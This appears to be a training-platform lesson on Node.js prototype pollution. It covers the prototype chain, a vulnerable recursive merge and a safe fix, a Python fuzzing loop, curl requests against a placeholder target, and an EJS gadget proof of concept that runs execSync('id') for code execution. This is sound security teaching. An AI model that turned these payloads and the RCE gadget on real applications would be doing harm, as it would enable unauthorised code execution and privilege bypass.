Browse CTFs New CTF Sign in

Prototype Pollution in Node.js: __proto__ Injection for Object.prototype Manipulation and RCE Gadget Chaining

web_injection_logic Difficulty 1–5 30 min certifiable

Theory

Security Assessment Methodology

Prototype pollution is a JavaScript vulnerability where an attacker can inject properties into Object.prototype — the root prototype of all JavaScript objects — by supplying a crafted object with a __proto__ or constructor.prototype key. Because every ordinary object inherits from Object.prototype, the injected property becomes visible on every object in the application, regardless of where it was created. This can bypass authentication checks, alter application behaviour, or — via gadget chains — achieve remote code execution.

JavaScript prototype chain. Every object has an internal [[Prototype]] link. When a property is read from an object, the engine walks the prototype chain: obj -> obj.__proto__ -> Object.prototype -> null. If isAdmin is not defined on obj but is defined on Object.prototype, obj.isAdmin returns the polluted value.

Vulnerable merge pattern. The classic vulnerable function is a recursive object merge:

function merge(target, source) {
    for (let key of Object.keys(source)) {
        if (typeof source[key] === 'object') {
            target[key] = target[key] || {};
            merge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return target;
}

If source is {"__proto__": {"isAdmin": true}}, the merge function sets target.__proto__.isAdmin = true, which writes to Object.prototype. Affected real-world libraries (historical versions): lodash < 4.17.5 (_.merge, _.mergeWith, _.defaultsDeep), jQuery < 3.4.0 ($.extend(true, ...)), hoek < 4.2.1, mixin-deep < 1.3.2.

Detection. In Node.js REPL or browser console:

const payload = JSON.parse('{"__proto__": {"polluted": true}}');
const target = {};
merge(target, payload);
console.log({}.polluted);   // true => prototype pollution confirmed

Gadget chains to RCE. Prototype pollution alone does not execute code. A gadget is an existing code path in the application (or its dependencies) that uses a property from Object.prototype in a dangerous way. Common Node.js gadgets:

  • child_process via ejs template engine: inject {"__proto__": {"outputFunctionName": "x; process.mainModule.require('child_process').execSync('id')//"}} — ejs reads opts.outputFunctionName to construct function code; if polluted, the injected string is eval'd.
  • vm2 sandbox escape: various versions had gadgets reading Object.prototype properties inside the sandbox context.
  • express response rendering: some Express view engines read configuration from app.locals or res.locals, which inherit from Object.prototype.

Technical Deep-Dive

// Vulnerable merge — exploit via __proto__ key
function merge(target, source) {
    for (const key of Object.keys(source)) {
        if (source[key] !== null && typeof source[key] === 'object') {
            if (!target[key]) target[key] = {};
            merge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
}

// Attack: inject into Object.prototype via __proto__
const malicious = JSON.parse('{"__proto__": {"isAdmin": true}}');
const userConfig = {};
merge(userConfig, malicious);

const anotherObject = {};
console.log(anotherObject.isAdmin);   // true — prototype polluted

// Safe fix: block __proto__ and constructor.prototype keys
function safeMerge(target, source) {
    for (const key of Object.keys(source)) {
        if (key === '__proto__' || key === 'constructor') continue;
        if (source[key] !== null && typeof source[key] === 'object') {
            if (!target[key]) target[key] = Object.create(null);  // null prototype
            safeMerge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
}
# Python: fuzzing a Node.js API endpoint for prototype pollution
import requests, json

TARGET = "https://target.example.com/api/settings"

# Test payloads — each attempts to pollute Object.prototype via a different key path
PP_PAYLOADS = [
    {"__proto__": {"isAdmin": True}},
    {"constructor": {"prototype": {"isAdmin": True}}},
    # URL-encoded form: submit as JSON body
]

for payload in PP_PAYLOADS:
    resp = requests.post(TARGET, json=payload, timeout=10)
    print(f"Payload: {json.dumps(payload)[:60]} -> {resp.status_code}")

# Verify pollution by making a separate request that exercises a property lookup
verify_resp = requests.get("https://target.example.com/api/profile", timeout=10)
print("isAdmin in response:", "isAdmin" in verify_resp.text or verify_resp.json().get("isAdmin"))
# Automated prototype pollution detection — prototype-pollution-checker npm
npx prototype-pollution-checker --url https://target.example.com/api/merge

# Manual Node.js REPL test for a local library
node -e "
const _ = require('lodash');   // install the version used by the target
const payload = JSON.parse('{\"__proto__\": {\"pwned\": 1}}');
_.merge({}, payload);
console.log('Polluted:', {}.pwned === 1);
"

# EJS RCE gadget PoC (requires ejs as a dependency and prototype pollution entry point)
node -e "
const ejs = require('ejs');
Object.prototype.outputFunctionName = "x;process.mainModule.require('child_process').execSync('id > /tmp/pwned')//";
ejs.render('<%= name %>', {name: 'test'});
" && cat /tmp/pwned

# Prototype pollution check in a running Express app via HTTP (check response for injected property)
curl -s -X POST https://target.example.com/api/merge 
  -H "Content-Type: application/json" 
  -d '{"__proto__":{"x-injected":"yes"}}'
curl -s https://target.example.com/api/health | python3 -m json.tool
# If x-injected: yes appears in the health check response, Object.prototype is polluted

Common Assessment Errors

1. Assuming prototype pollution requires __proto__ literally. The constructor.prototype path achieves the same effect and bypasses filters that only deny __proto__. Always test both paths: {"__proto__": {...}} and {"constructor": {"prototype": {...}}}.

2. Not identifying gadgets. Prototype pollution without a gadget is a medium-severity finding at best. The critical work is identifying what code paths read from Object.prototype in a dangerous context. Audit the dependency tree for known gadgets (ejs, Handlebars, Pug, lodash template) before concluding that exploitation is limited to logic bypass.

3. Testing only JSON body inputs. Prototype pollution can also be triggered via URL query parameters (?__proto__[isAdmin]=true), URL path segments, and form-encoded body parameters, depending on how the server parses input. Some frameworks (express with qs parser) support nested object notation in query strings: ?a[__proto__][isAdmin]=true.

4. Confusing prototype pollution with property shadowing. Setting obj.__proto__ = {x: 1} replaces the object's prototype entirely (property shadowing), which is a different operation from writing to Object.prototype via a merge function. Only the merge-via-crafted-key pattern constitutes prototype pollution in the security sense.

5. Not cleaning up after testing. In a live environment, polluting Object.prototype during testing affects all objects in the process until it is restarted. Cleanup: delete Object.prototype.injectedProperty after confirming the vulnerability. In automated testing frameworks, run pollution tests in isolated child processes.

6. Missing lodash version pinning in dependency trees. Transitive dependencies frequently pull in vulnerable lodash versions even when the direct dependency is patched. Run npm ls lodash or npm audit to identify all versions in the dependency tree; the vulnerable version may be a transitive dependency of an otherwise-updated package.

Challenge Lab

Reinforce your learning with a hands-on generated challenge based on this card's competency.